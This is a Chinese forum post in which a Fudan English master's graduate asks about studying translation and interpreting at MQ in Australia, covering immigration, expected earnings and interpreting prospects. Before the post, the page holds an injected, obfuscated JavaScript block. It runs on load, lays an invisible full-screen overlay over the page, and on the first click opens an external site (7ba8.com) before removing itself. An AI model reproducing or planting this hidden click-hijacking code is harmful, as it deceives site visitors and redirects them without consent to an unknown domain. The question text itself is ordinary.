<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>看到各位前辈在版上如此耐心细致的留言，真是感动！自己目前对是否来MQ学翻译很困惑，所以把自己的设想和基本情况写出来，请LZ或者其他在澳做翻译的前辈指点指点，不胜感激！
我是复旦英语系硕士，明年毕业，个人比较偏爱中英文学。大三的时候通过了高口。在毕业的关口考虑到澳洲学翻译，主要是为了拿到移民和积累一点钱。自己对于翻译这项技能谈不上十分大的兴趣，但觉得在众多的工作中，这个与专业能力最为相关。我原本希望通过在澳洲两年的学习，能够在办成移民之后，找到一份中等收入的工作，积累两三年的钱，然后去学自己喜欢的专业（文学）。这笔钱也许会作将来的学费，或者当作安家的钱。同时，学习翻译技能也算一技抱身，以后如果其他路走不通，还可以以此为业。这些便是我对来澳学翻译的最初设想。
在看了版上的众多留言后，我对这样的设想能否达成非常困惑。前辈们觉得我这样的想法来读翻译合适吗？所谓积一点钱，我并不要求很高，希望能够把学费挣回来，每年除去生活费，能够积下6万澳元，这想法现实吗？因为个人没有其他的专业背景，单靠翻译，在澳洲一年大约能挣多少呢？
此外，关于翻译学习。我听中介的介绍，本来想读1.5年的T&I的MA，然后读半年的辅修专业。看了版上的介绍后，知道了1年T&I pd+1年CI的做法，我觉得挺不错。原本对于学习同传有些害怕，个人自觉反应能力一般，不过出于经济回报考虑，现在想试试。就是不知MQ的同传难学吗?既然LZ说澳洲的同传市场已经基本饱和，那么靠着这样一年的同传训练，回国后能马上投入同传行业吗？这样的工作前景如何呢？
第一次提问就写得这么长，不好意思啊！真诚地期待各位前辈大人为我指点迷津。跪谢！
联系人：
联系方式： |
|
收藏